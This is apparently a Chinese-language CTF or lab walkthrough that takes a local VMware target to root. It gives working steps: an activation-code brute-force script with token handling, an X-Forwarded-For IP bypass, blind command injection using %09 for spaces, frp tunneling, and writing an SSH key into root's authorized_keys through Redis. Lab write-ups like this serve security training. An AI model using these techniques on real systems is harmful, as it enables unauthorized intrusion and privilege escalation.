难度 中
目标 root权限 一个flag
靶机启动环境为VMware
kali 192.168.152.56 靶机 192.168.152.63
信息收集
web测试
访问80端口
上面介绍了一下这个系统是一个内部系统,让员工查看他们的个人资料还可以导出为PDF
页面还有一个链接是UserList可以访问但是页面什么都没有显示,怀疑可能是没有权限或者需要什么参数
继续目录扫描
基本都存在目录遍历,但是都是些php文件
使用gobuster扫描
gobuster dir -u http://192.168.152.63/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -x txt,php,html
有一个黑名单
但是不知道这是哪个文件接收的参数,用上面跑出来的文件做了个字典去跑也没有发现
然后去看每个可以访问的页面,发现注册页面应该可以注册一个账户登录进去,还发现一个激活页面也可以访问有东西,其他的页面都是403以及需要登录的admin
尝试注册admin发现提示账号已存在
注册一个admin123,确实注册成功了,又提示需要激活
大概是需要上面那个激活页面进行激活吧
但是激活需要userid,在页面找了一圈发现在这个profile,点了会卡一会然后就是跳转但是跳转没用会在url显示userid
前面说激活码是6位数字那么可以尝试爆破一遍(15是我一开始跑截的图)
数目有点大估计得要一段时间
服了跑了一会发现很慢然后发现全是403发现有token验证。。。
于是写个简单的脚本进行跑,当然也可以使用bp的宏定义。
import requests
from bs4 import BeautifulSoupurl='http://192.168.152.63/activate.php'session = requests.Session() #保持会话
response = session.get(url)
text=response.textsoup = BeautifulSoup(text, 'html.parser')
token_value = soup.find('input', {'name': 'token'})['value']
# 生成从000000到999999的所有数字字符串
for i in range(1000000):number_str = f"{i:06d}" # 使用格式化字符串,确保数字是6位,不足的前面补0data={'userid':15,'activation_code':number_str,'token':token_value}re = session.post(url=url, data=data)soup = BeautifulSoup(re.text, 'html.parser')token_value = soup.find('input', {'name': 'token'})['value']print(number_str)if re.status_code!=403:print('——————————————————————————————————————————————')break
写脚本还遇到一个之前没有注意的地方就是data数据如果用这个{}格式的字典会自动的进行url编码的,我一开始直接把post数据当成字符串进行传输发现一只是无效的token后面发现需要有url编码也就是请求头里有个Content-Type: application/x-www-form-urlencoded
激活码作者没有给很大的数字也是很快就跑出来了,而且是固定的000511。
再次访问就可以正常登录了
然后在这些新功能点翻一翻,测一测SQL注入啥的
翻了一圈没发现什么东西,最后在9emin1中发现泄露了密码的HASH
此账号为管理员
找个在线的解密网站 9emin1 secretpassword
不过使用9emin1 secretpassword没登录成功。。。
突然想到注册的时候有个账号名和一个昵称,又回去看了一下每个账号后面都有一个括号又有一个名字
于是使用 Gemini secretpassword登录成功了
尝试放我上面admin才有的功能点有个执行命令但是都403
看数据包发现是ip不允许
使用插件生成的ip可以绕过
具体尝试发现X-Forwarded-For: 127.0.0.1就可以
突破边界
在执行命令这里发现了前面黑名单出现的命令执行的参数testcmd
不过我尝试输入了几个命令并没有什么回显(注意这里也要有Content-Type: application/x-www-form-urlencoded才会执行,token也要对)
怀疑是无回显的根据黑名单的内容发现过滤了空格
找了一下可以替代空格的方式,发现黑名单中还过滤了{}最后发现%09可以替代
这里应该是没有curl命令。
一开始想尝试OOB带外数据的但是发现很多都被过滤了估计不太行,想了一下很多命令不行那么试着先上传msf的后门试试
但是尝试了并没有成功的上线后门
尝试上传一个sh文件看能执行不
然后执行
bash%09/tmp/jiaoben
成功的执行了,这里只能用bash不能用bin/bash不知道为什么
提权
使用
SHELL=/bin/bash script -q /dev/null
提升一下shell
在家目录下面看了下历史记录没啥,也就一个这个Gnupg没有见过有点可疑,去网上搜了一下是一个加密的东西,没看太懂
上传了提权辅助脚本进行了一下信息的收集,收获到一下比较可疑的内容
/var/backups/alternatives.tar.0
/home/gemini1/.gnupg/trustdb.gpg
/home/gemini1/.gnupg/pubring.kbx
usr/bin/wkhtmltopdf
/usr/bin/gettext.sh
同时查看发现开启了redis和mysql数据库
同时发现redis是root权限启动,mysql只是mysql权限启动
redis有一些手法的前提就是root权限启动的服务
但是在命令行运行会有问题,我怀疑是shell的问题
frps.toml的配置
然后将frpc 和frpc.toml传上去赋予执行权限、
然后先在kali启动frps
./frps -c ./frps.toml
然后再在靶机上启动
nohup ./frpc -c ./frpc.toml > output.log 2>&1 &
然后发现需要密码
一开始准备用msf的代理转发的但是不知道为什么没代理上,只能退其次选择内网穿透使用frp
现在本地修改一下frpc.toml的内容,将本地的6379穿透到kali的1088端口
redis的密码可以在配置文件中查看
cat /etc/redis/6379.conf
8a7b86a2cd89d96dfcc125ebcc0535e6
刚才登录后查看有没有什么东西
发现有个秘钥,将秘钥cp到本地后尝试使用公私钥连接发现连不上。。。
那么只能选择写入公钥的方式了
现在本地生成公私钥
然后先将公钥写入一个txt中间加一些换行
(echo -e "\n\n";cat Gemini.pub;echo -e "\n\n")>Gemini.txt
这是因为在写入的过程中会出现一些乱码影响
将公钥写入redis内存中,也就是保存到数据库
cat Gemini.txt|redis-cli -h 127.0.0.1 -p 1088 -a 8a7b86a2cd89d96dfcc125ebcc0535e6 -x set gongyao
然后
config set dir /root/.ssh
config set dbfilename authorized_keys
save
这就成功的将公钥写入数据库了
现在可以尝试使用ssh进行连接了
指定私钥进行连接
ssh -i Gemini root@192.168.152.63
查看flag
总结
算是比较麻烦的靶场,无回显的rce并且是不太清楚的环境的情况下也不知道什么命令可以执行。